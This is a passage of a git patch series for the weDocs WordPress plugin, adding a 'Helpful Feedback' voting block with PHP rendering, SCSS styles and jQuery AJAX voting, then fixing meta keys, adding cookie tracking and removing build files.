esc_attr($voted_option); + } + + if (!empty($additional_css_class)) { + $css_classes[] = esc_attr($additional_css_class); + } + + // Data attributes + $data_attributes = []; + $data_attributes['data-post-id'] = $post_id; + $data_attributes['data-allow-anonymous'] = $allow_anonymous ? '1' : '0'; + $data_attributes['data-thank-you-message'] = esc_attr($thank_you_message); + + if (!empty($attributes['dataAttributes']) && is_array($attributes['dataAttributes'])) { + foreach ($attributes['dataAttributes'] as $key => $value) { + if (!empty($key) && !empty($value)) { + $data_attributes['data-' . esc_attr($key)] = esc_attr($value); + } + } + } + + // Build data attributes string + $data_attrs_string = ''; + foreach ($data_attributes as $key => $value) { + $data_attrs_string .= ' ' . $key . '="' . $value . '"'; + } + + // Enqueue frontend script and styles + wp_enqueue_script('wedocs-helpful-feedback-frontend', plugin_dir_url(WEDOCS_FILE) . '../../../assets/js/helpful-feedback.js', ['jquery'], '1.0.0', true); + wp_localize_script('wedocs-helpful-feedback-frontend', 'wedocsHelpfulFeedback', [ + 'ajax_url' => admin_url('admin-ajax.php'), + 'nonce' => wp_create_nonce('wedocs_helpful_feedback_nonce') + ]); + + // Generate unique block ID + $block_id = 'wedocs-helpful-feedback-' . $post_id . '-' . wp_rand(1000, 9999); + ?> + +
+ > + +
+ +
+ +
+ + + +
+ +
+
+ +
+ +
+
+ + + + + + + + + + + + + + + +
+ + +
+ + + +
+ +
+
+ +
+ + + + { + return null; +}; + +export default Save; \ No newline at end of file diff --git a/src/blocks/HelpfulFeedback/style.scss b/src/blocks/HelpfulFeedback/style.scss new file mode 100644 index 00000000..c1959d56 --- /dev/null +++ b/src/blocks/HelpfulFeedback/style.scss @@ -0,0 +1,294 @@ +/** + * Helpful Feedback Block Styles + * Frontend and Editor styles for the Helpful Feedback block + */ + +.wedocs-helpful-feedback { + position: relative; + max-width: 100%; + box-sizing: border-box; + font-family: inherit; + + * { + box-sizing: border-box; + } + + .wedocs-feedback-title { + margin: 0; + font-weight: 600; + line-height: 1.4; + } + + .wedocs-feedback-buttons { + display: flex; + flex-wrap: wrap; + gap: 16px; + margin-top: 16px; + justify-content: center; + + .wedocs-feedback-button { + border: none; + background: none; + font-family: inherit; + font-size: 14px; + line-height: 1; + text-decoration: none; + outline: none; + position: relative; + min-height: 44px; // Accessibility - minimum touch target + min-width: 44px; + + &:focus { + outline: 2px solid #0073aa; + outline-offset: 2px; + } + + &:disabled { + opacity: 0.7; + cursor: not-allowed; + } + + .wedocs-feedback-icon { + display: inline-flex; + align-items: center; + justify-content: center; + flex-shrink: 0; + + svg { + display: block; + } + } + + .vote-count { + font-size: 0.9em; + opacity: 0.8; + } + } + } + + .wedocs-feedback-thank-you { + text-align: center; + + .wedocs-feedback-title { + color: #28a745; + margin-bottom: 16px; + } + + .wedocs-feedback-result { + .wedocs-feedback-voted-option { + font-weight: 500; + margin-bottom: 8px; + + .wedocs-feedback-icon { + display: inline-flex; + align-items: center; + margin-right: 8px; + } + } + + .wedocs-feedback-vote-summary { + .vote-separator { + margin: 0 8px; + opacity: 0.6; + } + } + } + } + + .wedocs-feedback-preview-note { + text-align: center; + font-style: italic; + color: #666; + border-top: 1px solid #eee; + padding-top: 10px; + } + + // Alignment variations + &.left { + .wedocs-feedback-buttons { + justify-content: flex-start; + } + } + + &.center { + .wedocs-feedback-buttons { + justify-content: center; + } + } + + &.right { + .wedocs-feedback-buttons { + justify-content: flex-end; + } + } + + // Layout 1: Standard rectangular buttons + &.layout1 { + .wedocs-feedback-button { + padding: 12px 24px; + border-radius: 6px; + display: inline-flex; + align-items: center; + gap: 8px; + flex-direction: row; + } + } + + // Layout 2: Circular buttons with text below + &.layout2 { + .wedocs-feedback-buttons { + flex-direction: column; + align-items: center; + gap: 32px; + + .wedocs-feedback-button { + flex-direction: column; + width: 80px; + height: 80px; + border-radius: 50%; + padding: 0; + gap: 8px; + position: relative; + + .vote-count { + position: absolute; + bottom: -28px; + left: 50%; + transform: translateX(-50%); + white-space: nowrap; + font-size: 12px; + } + } + } + + // For horizontal layout in layout2 + @media (min-width: 480px) { + .wedocs-feedback-buttons { + flex-direction: row; + justify-content: center; + gap: 48px; + } + } + } + + // Responsive design + @media (max-width: 480px) { + .wedocs-feedback-buttons { + flex-direction: column; + align-items: center; + gap: 12px; + + .wedocs-feedback-button { + width: 100%; + max-width: 200px; + justify-content: center; + } + } + + &.layout2 .wedocs-feedback-buttons { + .wedocs-feedback-button { + width: 60px; + height: 60px; + } + } + } + + // Loading state + &.loading { + .wedocs-feedback-button { + opacity: 0.6; + cursor: wait; + pointer-events: none; + } + } + + // Voted state + &.has-voted { + .wedocs-feedback-buttons { + display: none; + } + } + + // Animation for feedback transitions + .wedocs-feedback-thank-you, + .wedocs-feedback-buttons { + animation: fadeIn 0.3s ease-in-out; + } + + @keyframes fadeIn { + from { + opacity: 0; + transform: translateY(10px); + } + to { + opacity: 1; + transform: translateY(0); + } + } +} + +// Editor specific styles +.wp-block-wedocs-helpful-feedback { + .wedocs-helpful-feedback { + border: 1px dashed #ccc; + position: relative; + + &::after { + content: 'Helpful Feedback Block'; + position: absolute; + top: -1px; + left: -1px; + background: #0073aa; + color: white; + padding: 2px 8px; + font-size: 11px; + line-height: 1; + font-weight: 500; + z-index: 1; + } + } +} + +// High contrast mode support +@media (prefers-contrast: high) { + .wedocs-helpful-feedback { + .wedocs-feedback-button { + border: 2px solid currentColor !important; + } + } +} + +// Reduced motion support +@media (prefers-reduced-motion: reduce) { + .wedocs-helpful-feedback { + .wedocs-feedback-button, + .wedocs-feedback-thank-you, + .wedocs-feedback-buttons { + animation: none !important; + transition: none !important; + } + } +} + +// Print styles +@media print { + .wedocs-helpful-feedback { + .wedocs-feedback-buttons { + display: none !important; + } + + .wedocs-feedback-thank-you { + .wedocs-feedback-vote-summary { + display: inline !important; + + &::before { + content: " ("; + } + + &::after { + content: ")"; + } + } + } + } +} \ No newline at end of file diff --git a/src/blocks/index.js b/src/blocks/index.js index a17cad8b..964c5a24 100644 --- a/src/blocks/index.js +++ b/src/blocks/index.js @@ -1,2 +1,3 @@ import './Search'; import './DocsGrid'; +import './HelpfulFeedback'; diff --git a/wedocs.php b/wedocs.php index faa2276f..dc3bf76a 100644 --- a/wedocs.php +++ b/wedocs.php @@ -47,6 +47,7 @@ require_once __DIR__ . '/vendor/autoload.php'; require_once plugin_dir_path(__FILE__) . 'assets/build/blocks/DocsGrid/render.php'; +require_once plugin_dir_path(__FILE__) . 'assets/build/blocks/HelpfulFeedback/render.php'; /** * WeDocs class. @@ -182,6 +183,14 @@ public function register_blocks() { 'render_callback' => 'render_wedocs_docs_grid' ) ); + + // Register the HelpfulFeedback block + register_block_type( + plugin_dir_path(__FILE__) . 'assets/build/blocks/HelpfulFeedback', + array( + 'render_callback' => 'render_wedocs_helpful_feedback' + ) + ); } /** From 91ceb29335ea0a6ea78d8f472a86d0281763ffbf Mon Sep 17 00:00:00 2001 From: Iftakharul Islam Ifat <88052038+iftakharul-islam@users.noreply.github.com> Date: Wed, 29 Oct 2025 16:06:15 +0600 Subject: [PATCH 2/6] WIP --- .../build/blocks/HelpfulFeedback/render.php | 8 +- src/blocks/HelpfulFeedback/render.php | 2 +- src/blocks/HelpfulFeedback/view.js | 206 ++++++++++++++++++ 3 files changed, 210 insertions(+), 6 deletions(-) create mode 100644 src/blocks/HelpfulFeedback/view.js diff --git a/assets/build/blocks/HelpfulFeedback/render.php b/assets/build/blocks/HelpfulFeedback/render.php index 18ec21b7..f88540fe 100644 --- a/assets/build/blocks/HelpfulFeedback/render.php +++ b/assets/build/blocks/HelpfulFeedback/render.php @@ -34,8 +34,8 @@ function render_wedocs_helpful_feedback($attributes) { $user_ip = $_SERVER['REMOTE_ADDR'] ?? ''; // Get vote counts from post meta - $yes_votes = (int) get_post_meta($post_id, 'positive', true); - $no_votes = (int) get_post_meta($post_id, 'negative', true); + $yes_votes = (int) get_post_meta($post_id, 'wedocs_helpful_yes', true); + $no_votes = (int) get_post_meta($post_id, 'wedocs_helpful_no', true); // Check if user has already voted $has_voted = false; @@ -190,11 +190,9 @@ function render_wedocs_helpful_feedback($attributes) { foreach ($data_attributes as $key => $value) { $data_attrs_string .= ' ' . $key . '="' . $value . '"'; } - error_log(print_r( [plugins_url( '/assets/js/helpful-feedback.js', WEDOCS_FILE) ], true )); - // Enqueue frontend script and styles - wp_enqueue_script('wedocs-helpful-feedback-frontend', plugins_url( '/assets/js/helpful-feedback.js', WEDOCS_FILE), ['jquery'], '1.0.0', true); + wp_enqueue_script('wedocs-helpful-feedback-frontend', plugin_dir_url(WEDOCS_FILE) .'./assets/js/helpful-feedback.js', ['jquery'], '1.0.0', true); wp_localize_script('wedocs-helpful-feedback-frontend', 'wedocsHelpfulFeedback', [ 'ajax_url' => admin_url('admin-ajax.php'), 'nonce' => wp_create_nonce('wedocs_helpful_feedback_nonce') diff --git a/src/blocks/HelpfulFeedback/render.php b/src/blocks/HelpfulFeedback/render.php index acefb3ac..1b6233a6 100644 --- a/src/blocks/HelpfulFeedback/render.php +++ b/src/blocks/HelpfulFeedback/render.php @@ -192,7 +192,7 @@ function render_wedocs_helpful_feedback($attributes) { } // Enqueue frontend script and styles - wp_enqueue_script('wedocs-helpful-feedback-frontend', plugin_dir_url(WEDOCS_FILE) . '../../../assets/js/helpful-feedback.js', ['jquery'], '1.0.0', true); + wp_enqueue_script('wedocs-helpful-feedback-frontend', plugin_dir_url(WEDOCS_FILE) . '/assets/js/helpful-feedback.js', ['jquery'], WEDOCS_VERSION, true); wp_localize_script('wedocs-helpful-feedback-frontend', 'wedocsHelpfulFeedback', [ 'ajax_url' => admin_url('admin-ajax.php'), 'nonce' => wp_create_nonce('wedocs_helpful_feedback_nonce') diff --git a/src/blocks/HelpfulFeedback/view.js b/src/blocks/HelpfulFeedback/view.js new file mode 100644 index 00000000..dad4c589 --- /dev/null +++ b/src/blocks/HelpfulFeedback/view.js @@ -0,0 +1,206 @@ +/** + * Helpful Feedback Frontend JavaScript + * Handles AJAX voting functionality + */ + +(function($) { + 'use strict'; + + class WedocsHelpfulFeedback { + constructor() { + this.init(); + } + + init() { + this.bindEvents(); + } + + bindEvents() { + $(document).on('click', '.wedocs-feedback-button', this.handleVote.bind(this)); + } + + handleVote(e) { + e.preventDefault(); + + const $button = $(e.currentTarget); + const $container = $button.closest('.wedocs-helpful-feedback'); + const vote = $button.data('vote'); + const postId = $container.data('post-id'); + const allowAnonymous = $container.data('allow-anonymous'); + const thankYouMessage = $container.data('thank-you-message'); + + // Check if already voting + if ($container.hasClass('loading')) { + return; + } + + // Validate required data + if (!vote || !postId) { + this.showError($container, 'Invalid voting data'); + return; + } + + // Show loading state + this.setLoadingState($container, true); + + // Prepare AJAX data + const ajaxData = { + action: 'wedocs_helpful_feedback_vote', + post_id: postId, + vote: vote, + allow_anonymous: allowAnonymous, + nonce: wedocsHelpfulFeedback.nonce + }; + + // Send AJAX request + $.ajax({ + url: wedocsHelpfulFeedback.ajax_url, + type: 'POST', + data: ajaxData, + dataType: 'json', + success: (response) => { + this.handleVoteSuccess(response, $container, vote, thankYouMessage); + }, + error: (xhr, status, error) => { + this.handleVoteError(xhr, $container); + }, + complete: () => { + this.setLoadingState($container, false); + } + }); + } + + handleVoteSuccess(response, $container, vote, thankYouMessage) { + if (response.success) { + // Update vote counts + this.updateVoteCounts($container, response.data.yes_votes, response.data.no_votes); + + // Show thank you message + this.showThankYou($container, vote, thankYouMessage, response.data); + + // Mark as voted + $container.addClass('has-voted voted-' + vote); + + // Fire custom event + $(document).trigger('wedocs:feedback:voted', { + container: $container, + vote: vote, + data: response.data + }); + } else { + this.showError($container, response.data.message || 'Voting failed'); + } + } + + handleVoteError(xhr, $container) { + let errorMessage = 'An error occurred while voting'; + + if (xhr.responseJSON && xhr.responseJSON.data && xhr.responseJSON.data.message) { + errorMessage = xhr.responseJSON.data.message; + } else if (xhr.status === 403) { + errorMessage = 'You are not authorized to vote'; + } else if (xhr.status === 429) { + errorMessage = 'Too many requests. Please try again later'; + } + + this.showError($container, errorMessage); + } + + updateVoteCounts($container, yesVotes, noVotes) { + const showVoteCount = $container.find('.vote-count').length > 0; + + if (showVoteCount) { + $container.find('.wedocs-feedback-yes .vote-count').text('(' + yesVotes + ')'); + $container.find('.wedocs-feedback-no .vote-count').text('(' + noVotes + ')'); + } + } + + showThankYou($container, vote, thankYouMessage, data) { + const $title = $container.find('.wedocs-feedback-title'); + const $buttons = $container.find('.wedocs-feedback-buttons'); + + // Create thank you content + const voteIcon = vote === 'yes' + ? '' + : ''; + + const voteText = vote === 'yes' ? 'You found this helpful' : 'You found this not helpful'; + const showVoteCount = $container.find('.vote-count').length > 0; + + let voteSummary = ''; + if (showVoteCount) { + voteSummary = ` +
+ ${data.yes_votes} Yes + + ${data.no_votes} No +
+ `; + } + + const thankYouContent = ` +
+
+ ${thankYouMessage} +
+
+
+ ${voteIcon} + ${voteText} +
+ ${voteSummary} +
+
+ `; + + // Fade out buttons and fade in thank you message + $buttons.fadeOut(300, function() { + $title.fadeOut(200, function() { + $container.append(thankYouContent); + $container.find('.wedocs-feedback-thank-you').hide().fadeIn(400); + }); + }); + } + + showError($container, message) { + // Remove any existing error messages + $container.find('.wedocs-feedback-error').remove(); + + // Create error message element + const $error = $('
'); + $error.text(message); + + // Append error message + $container.append($error); + + // Auto-hide error after 5 seconds + setTimeout(() => { + $error.fadeOut(300, function() { + $error.remove(); + }); + }, 5000); + } + + setLoadingState($container, loading) { + if (loading) { + $container.addClass('loading'); + $container.find('.wedocs-feedback-button').prop('disabled', true); + } else { + $container.removeClass('loading'); + $container.find('.wedocs-feedback-button').prop('disabled', false); + } + } + } + + // Initialize when document is ready + $(document).ready(function() { + // Only initialize if we have the required globals + if (typeof wedocsHelpfulFeedback !== 'undefined') { + new WedocsHelpfulFeedback(); + } + }); + + // Expose class globally for extensibility + window.WedocsHelpfulFeedback = WedocsHelpfulFeedback; + +})(jQuery); From a604602b40ea1e3a838300ed82bb3bdb9d11cef5 Mon Sep 17 00:00:00 2001 From: Iftakharul Islam Ifat <88052038+iftakharul-islam@users.noreply.github.com> Date: Wed, 29 Oct 2025 16:18:57 +0600 Subject: [PATCH 3/6] Old meta value connected --- .../build/blocks/HelpfulFeedback/render.php | 29 +++++++++++++++---- includes/Ajax.php | 22 +++++++++++--- src/blocks/HelpfulFeedback/render.php | 29 +++++++++++++++---- 3 files changed, 66 insertions(+), 14 deletions(-) diff --git a/assets/build/blocks/HelpfulFeedback/render.php b/assets/build/blocks/HelpfulFeedback/render.php index f88540fe..e0b9ed99 100644 --- a/assets/build/blocks/HelpfulFeedback/render.php +++ b/assets/build/blocks/HelpfulFeedback/render.php @@ -33,22 +33,41 @@ function render_wedocs_helpful_feedback($attributes) { $user_id = get_current_user_id(); $user_ip = $_SERVER['REMOTE_ADDR'] ?? ''; - // Get vote counts from post meta - $yes_votes = (int) get_post_meta($post_id, 'wedocs_helpful_yes', true); - $no_votes = (int) get_post_meta($post_id, 'wedocs_helpful_no', true); + // Get vote counts from post meta (using existing system meta keys) + $yes_votes = (int) get_post_meta($post_id, 'positive', true); + $no_votes = (int) get_post_meta($post_id, 'negative', true); // Check if user has already voted $has_voted = false; $voted_option = ''; - if ($user_id) { + // Check cookie-based tracking first (for compatibility with existing system) + $previous = isset($_COOKIE['wedocs_response']) ? explode(',', $_COOKIE['wedocs_response']) : []; + if (in_array($post_id, $previous)) { + $has_voted = true; + // For cookie-based votes, we need to determine which option was voted + // Check user-specific records to get the vote type + if ($user_id) { + $user_vote = get_post_meta($post_id, "wedocs_helpful_vote_user_{$user_id}", true); + if ($user_vote) { + $voted_option = $user_vote; + } + } + // If we can't determine the specific vote from user records, show generic "voted" state + if (!$voted_option) { + $voted_option = 'yes'; // Default to yes for display purposes + } + } + + // Check user-specific voting records if not already voted via cookie + if (!$has_voted && $user_id) { // Check by user ID $user_vote = get_post_meta($post_id, "wedocs_helpful_vote_user_{$user_id}", true); if ($user_vote) { $has_voted = true; $voted_option = $user_vote; } - } elseif (($attributes['allowAnonymous'] ?? true) && $user_ip) { + } elseif (!$has_voted && ($attributes['allowAnonymous'] ?? true) && $user_ip) { // Check by IP for anonymous users $ip_vote = get_post_meta($post_id, "wedocs_helpful_vote_ip_" . md5($user_ip), true); if ($ip_vote) { diff --git a/includes/Ajax.php b/includes/Ajax.php index a67e9e41..b46ac099 100644 --- a/includes/Ajax.php +++ b/includes/Ajax.php @@ -295,13 +295,21 @@ public function handle_helpful_feedback_vote() { // Check if user has already voted $has_voted = false; - if ( $user_id ) { + + // Check cookie-based tracking (for compatibility with existing system) + $previous = isset( $_COOKIE['wedocs_response'] ) ? explode( ',', $_COOKIE['wedocs_response'] ) : []; + if ( in_array( $post_id, $previous ) ) { + $has_voted = true; + } + + // Check user-specific voting records + if ( ! $has_voted && $user_id ) { // Check by user ID $user_vote = get_post_meta( $post_id, "wedocs_helpful_vote_user_{$user_id}", true ); if ( $user_vote ) { $has_voted = true; } - } elseif ( $allow_anonymous && $user_ip ) { + } elseif ( ! $has_voted && $allow_anonymous && $user_ip ) { // Check by IP for anonymous users $ip_vote = get_post_meta( $post_id, "wedocs_helpful_vote_ip_" . md5( $user_ip ), true ); if ( $ip_vote ) { @@ -316,7 +324,7 @@ public function handle_helpful_feedback_vote() { } // Record the vote - $vote_meta_key = $vote === 'yes' ? 'postive' : 'negative'; + $vote_meta_key = $vote === 'yes' ? 'positive' : 'negative'; $current_votes = (int) get_post_meta( $post_id, $vote_meta_key, true ); update_post_meta( $post_id, $vote_meta_key, $current_votes + 1 ); @@ -327,9 +335,15 @@ public function handle_helpful_feedback_vote() { update_post_meta( $post_id, "wedocs_helpful_vote_ip_" . md5( $user_ip ), $vote ); } + // Also update cookie-based tracking for compatibility with existing system + $previous = isset( $_COOKIE['wedocs_response'] ) ? explode( ',', $_COOKIE['wedocs_response'] ) : []; + array_push( $previous, $post_id ); + $cookie_val = implode( ',', $previous ); + setcookie( 'wedocs_response', $cookie_val, time() + WEEK_IN_SECONDS, COOKIEPATH, COOKIE_DOMAIN ); + // Get updated vote counts $yes_votes = (int) get_post_meta( $post_id, 'positive', true ); - $no_votes = (int) get_post_meta( $post_id, 'negetive', true ); + $no_votes = (int) get_post_meta( $post_id, 'negative', true ); // Fire action hook for extensibility do_action( 'wedocs_helpful_feedback_voted', $post_id, $vote, $user_id, $user_ip ); diff --git a/src/blocks/HelpfulFeedback/render.php b/src/blocks/HelpfulFeedback/render.php index 1b6233a6..885a925d 100644 --- a/src/blocks/HelpfulFeedback/render.php +++ b/src/blocks/HelpfulFeedback/render.php @@ -33,22 +33,41 @@ function render_wedocs_helpful_feedback($attributes) { $user_id = get_current_user_id(); $user_ip = $_SERVER['REMOTE_ADDR'] ?? ''; - // Get vote counts from post meta - $yes_votes = (int) get_post_meta($post_id, 'wedocs_helpful_yes', true); - $no_votes = (int) get_post_meta($post_id, 'wedocs_helpful_no', true); + // Get vote counts from post meta (using existing system meta keys) + $yes_votes = (int) get_post_meta($post_id, 'positive', true); + $no_votes = (int) get_post_meta($post_id, 'negative', true); // Check if user has already voted $has_voted = false; $voted_option = ''; - if ($user_id) { + // Check cookie-based tracking first (for compatibility with existing system) + $previous = isset($_COOKIE['wedocs_response']) ? explode(',', $_COOKIE['wedocs_response']) : []; + if (in_array($post_id, $previous)) { + $has_voted = true; + // For cookie-based votes, we need to determine which option was voted + // Check user-specific records to get the vote type + if ($user_id) { + $user_vote = get_post_meta($post_id, "wedocs_helpful_vote_user_{$user_id}", true); + if ($user_vote) { + $voted_option = $user_vote; + } + } + // If we can't determine the specific vote from user records, show generic "voted" state + if (!$voted_option) { + $voted_option = 'yes'; // Default to yes for display purposes + } + } + + // Check user-specific voting records if not already voted via cookie + if (!$has_voted && $user_id) { // Check by user ID $user_vote = get_post_meta($post_id, "wedocs_helpful_vote_user_{$user_id}", true); if ($user_vote) { $has_voted = true; $voted_option = $user_vote; } - } elseif (($attributes['allowAnonymous'] ?? true) && $user_ip) { + } elseif (!$has_voted && ($attributes['allowAnonymous'] ?? true) && $user_ip) { // Check by IP for anonymous users $ip_vote = get_post_meta($post_id, "wedocs_helpful_vote_ip_" . md5($user_ip), true); if ($ip_vote) { From 15c830f9c9d69051404abf552860b9cb3d209cf8 Mon Sep 17 00:00:00 2001 From: Iftakharul Islam Ifat <88052038+iftakharul-islam@users.noreply.github.com> Date: Tue, 6 Jan 2026 15:02:31 +0600 Subject: [PATCH 4/6] Remove build files --- .gitignore | 39 +- assets/build/5f4138884ca3828fa2ff.svg | 23 - assets/build/block.asset.php | 1 - assets/build/block.js | 1 - assets/build/blocks/DocsGrid/block.json | 163 - assets/build/blocks/DocsGrid/render.php | 319 - .../build/blocks/HelpfulFeedback/block.json | 234 - .../build/blocks/HelpfulFeedback/render.php | 407 - assets/build/editor.asset.php | 1 - assets/build/editor.js | 1 - assets/build/fonts/wedocs.0e4fd4b5.ttf | Bin 3724 -> 0 bytes assets/build/fonts/wedocs.29ec52e7.woff | Bin 3800 -> 0 bytes assets/build/frontend.asset.php | 1 - assets/build/frontend.css | 1219 - assets/build/frontend.js | 0 assets/build/icons.asset.php | 1 - assets/build/icons.js | 1 - assets/build/images/pro-badge.aa003c10.png | Bin 1206 -> 0 bytes assets/build/images/slider-1.b05d3c91.jpg | Bin 42781 -> 0 bytes assets/build/images/slider-2.f7822c31.jpg | Bin 48325 -> 0 bytes assets/build/images/slider-3.ab3b7f94.jpg | Bin 32146 -> 0 bytes assets/build/images/slider-4.501d8d95.jpg | Bin 45762 -> 0 bytes assets/build/index.asset.php | 1 - assets/build/index.css | 6154 --- assets/build/index.js | 7 - assets/build/print.asset.php | 1 - assets/build/print.css | 181 - assets/build/print.js | 0 assets/build/store.asset.php | 1 - assets/build/store.js | 1 - assets/build/style-block.css | 3 - assets/js/helpful-feedback.js | 412 +- includes/API/API.php | 2846 +- includes/API/SettingsApi.php | 526 +- includes/Admin.php | 246 +- includes/Admin/Promotion.php | 366 +- includes/Ajax.php | 724 +- includes/Assets.php | 342 +- includes/Frontend.php | 358 +- includes/functions.php | 1344 +- languages/wedocs.pot | 6386 +-- package-lock.json | 44182 ++++++++-------- package.json | 124 +- readme.md | 44 +- readme.txt | 474 +- src/blocks/DocsGrid/block.json | 326 +- src/blocks/DocsGrid/edit.js | 1092 +- src/blocks/DocsGrid/render.php | 638 +- src/blocks/DocsGrid/save.js | 84 +- src/blocks/HelpfulFeedback/block.json | 466 +- src/blocks/HelpfulFeedback/edit.js | 1024 +- src/blocks/HelpfulFeedback/index.js | 32 +- src/blocks/HelpfulFeedback/render.php | 814 +- src/blocks/HelpfulFeedback/save.js | 12 +- src/blocks/HelpfulFeedback/style.scss | 586 +- src/blocks/HelpfulFeedback/view.js | 412 +- src/blocks/Search/edit.js | 642 +- src/blocks/Search/index.js | 40 +- src/blocks/Search/save.js | 222 +- src/blocks/index.js | 6 +- src/components/App.js | 102 +- src/components/DocActions.js | 244 +- src/components/DocListing/ArticleChildrens.js | 532 +- src/components/DocListing/SectionArticles.js | 792 +- .../Modals/MigrationContentMappingModal.js | 436 +- .../Modals/MigrationProgressModal.js | 336 +- .../Modals/MigrationSelectionModal.js | 428 +- .../ProPreviews/common/UpgradeButton.js | 58 +- .../ProPreviews/common/UpgradePopup.js | 516 +- .../ProPreviews/common/UpgradeTooltip.js | 74 +- src/components/ProPreviews/index.js | 512 +- src/components/RestrictionModal.js | 306 +- src/components/Settings/AiSettings.js | 1136 +- src/components/Settings/GeneralSettings.js | 744 +- src/components/Settings/Menu.js | 190 +- src/components/Settings/index.js | 384 +- src/data/docs/controls.js | 48 +- src/data/settings/controls.js | 104 +- src/data/settings/reducer.js | 264 +- src/editor/AiDocWriter.js | 16 +- src/editor/AiDocWriterModal.js | 1046 +- src/editor/AiDocWriterPanel.js | 134 +- src/editor/AiDocWriterPreview.js | 108 +- src/editor/index.js | 2 +- src/icons/index.js | 1866 +- src/index.js | 66 +- src/utils/aiService.js | 1018 +- tailwind.config.js | 49 +- templates/content-modal.php | 120 +- templates/doc-search-form.php | 36 +- templates/docs-sidebar.php | 110 +- templates/shortcode.php | 208 +- templates/single-docs.php | 408 +- webpack.config.js | 124 +- wedocs.php | 646 +- 95 files changed, 38989 insertions(+), 47704 deletions(-) delete mode 100644 assets/build/5f4138884ca3828fa2ff.svg delete mode 100644 assets/build/block.asset.php delete mode 100644 assets/build/block.js delete mode 100644 assets/build/blocks/DocsGrid/block.json delete mode 100644 assets/build/blocks/DocsGrid/render.php delete mode 100644 assets/build/blocks/HelpfulFeedback/block.json delete mode 100644 assets/build/blocks/HelpfulFeedback/render.php delete mode 100644 assets/build/editor.asset.php delete mode 100644 assets/build/editor.js delete mode 100644 assets/build/fonts/wedocs.0e4fd4b5.ttf delete mode 100644 assets/build/fonts/wedocs.29ec52e7.woff delete mode 100644 assets/build/frontend.asset.php delete mode 100644 assets/build/frontend.css delete mode 100644 assets/build/frontend.js delete mode 100644 assets/build/icons.asset.php delete mode 100644 assets/build/icons.js delete mode 100644 assets/build/images/pro-badge.aa003c10.png delete mode 100644 assets/build/images/slider-1.b05d3c91.jpg delete mode 100644 assets/build/images/slider-2.f7822c31.jpg delete mode 100644 assets/build/images/slider-3.ab3b7f94.jpg delete mode 100644 assets/build/images/slider-4.501d8d95.jpg delete mode 100644 assets/build/index.asset.php delete mode 100644 assets/build/index.css delete mode 100644 assets/build/index.js delete mode 100644 assets/build/print.asset.php delete mode 100644 assets/build/print.css delete mode 100644 assets/build/print.js delete mode 100644 assets/build/store.asset.php delete mode 100644 assets/build/store.js delete mode 100644 assets/build/style-block.css diff --git a/.gitignore b/.gitignore index b689f40a..36a6ae81 100644 --- a/.gitignore +++ b/.gitignore @@ -1,19 +1,20 @@ -config.codekit -.codekit-cache -plugin-deploy.sh - -# OS generated files # -###################### -.DS_Store -.DS_Store? -._* -.Spotlight-V100 -.Trashes -ehthumbs.db -Thumbs.db -/node_modules -/vendor/ - -.vscode/ -.idea/ -wedocs*.zip +config.codekit +.codekit-cache +plugin-deploy.sh + +# OS generated files # +###################### +.DS_Store +.DS_Store? +._* +.Spotlight-V100 +.Trashes +ehthumbs.db +Thumbs.db +/node_modules +/vendor/ + +.vscode/ +.idea/ +wedocs*.zip +config.bat diff --git a/assets/build/5f4138884ca3828fa2ff.svg b/assets/build/5f4138884ca3828fa2ff.svg deleted file mode 100644 index 38382273..00000000 --- a/assets/build/5f4138884ca3828fa2ff.svg +++ /dev/null @@ -1,23 +0,0 @@ - - - -Generated by IcoMoon - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/assets/build/block.asset.php b/assets/build/block.asset.php deleted file mode 100644 index 2a7df2d1..00000000 --- a/assets/build/block.asset.php +++ /dev/null @@ -1 +0,0 @@ - array('react', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-element', 'wp-i18n', 'wp-primitives'), 'version' => 'aa2df97a4d78b70cd95a'); diff --git a/assets/build/block.js b/assets/build/block.js deleted file mode 100644 index 12214796..00000000 --- a/assets/build/block.js +++ /dev/null @@ -1 +0,0 @@ -(()=>{"use strict";var e,t={418:(e,t,o)=>{var l=o(609),a=Symbol.for("react.element"),n=(Symbol.for("react.fragment"),Object.prototype.hasOwnProperty),r=l.__SECRET_INTERNALS_DO_NOT_USE_OR_YOU_WILL_BE_FIRED.ReactCurrentOwner,c={key:!0,ref:!0,__self:!0,__source:!0};t.jsx=function(e,t,o){var l,i={},s=null,d=null;for(l in void 0!==o&&(s=""+o),void 0!==t.key&&(s=""+t.key),void 0!==t.ref&&(d=t.ref),t)n.call(t,l)&&!c.hasOwnProperty(l)&&(i[l]=t[l]);if(e&&e.defaultProps)for(l in t=e.defaultProps)void 0===i[l]&&(i[l]=t[l]);return{$$typeof:a,type:e,key:s,ref:d,props:i,_owner:r.current}}},706:(e,t,o)=>{e.exports=o(418)},642:(e,t,o)=>{var l=o(609);const a=window.wp.blocks,n=window.wp.i18n,r=window.wp.primitives;var c=o(706);const i=(0,c.jsx)(r.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg",children:(0,c.jsx)(r.Path,{d:"M12 8c-2.2 0-4 1.8-4 4s1.8 4 4 4 4-1.8 4-4-1.8-4-4-4zm0 6.5c-1.4 0-2.5-1.1-2.5-2.5s1.1-2.5 2.5-2.5 2.5 1.1 2.5 2.5-1.1 2.5-2.5 2.5zM12.8 3h-1.5v3h1.5V3zm-1.6 18h1.5v-3h-1.5v3zm6.8-9.8v1.5h3v-1.5h-3zm-12 0H3v1.5h3v-1.5zm9.7 5.6 2.1 2.1 1.1-1.1-2.1-2.1-1.1 1.1zM8.3 7.2 6.2 5.1 5.1 6.2l2.1 2.1 1.1-1.1zM5.1 17.8l1.1 1.1 2.1-2.1-1.1-1.1-2.1 2.1zM18.9 6.2l-1.1-1.1-2.1 2.1 1.1 1.1 2.1-2.1z"})}),s=(0,c.jsx)(r.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,c.jsx)(r.Path,{fillRule:"evenodd",d:"M10.289 4.836A1 1 0 0111.275 4h1.306a1 1 0 01.987.836l.244 1.466c.787.26 1.503.679 2.108 1.218l1.393-.522a1 1 0 011.216.437l.653 1.13a1 1 0 01-.23 1.273l-1.148.944a6.025 6.025 0 010 2.435l1.149.946a1 1 0 01.23 1.272l-.653 1.13a1 1 0 01-1.216.437l-1.394-.522c-.605.54-1.32.958-2.108 1.218l-.244 1.466a1 1 0 01-.987.836h-1.306a1 1 0 01-.986-.836l-.244-1.466a5.995 5.995 0 01-2.108-1.218l-1.394.522a1 1 0 01-1.217-.436l-.653-1.131a1 1 0 01.23-1.272l1.149-.946a6.026 6.026 0 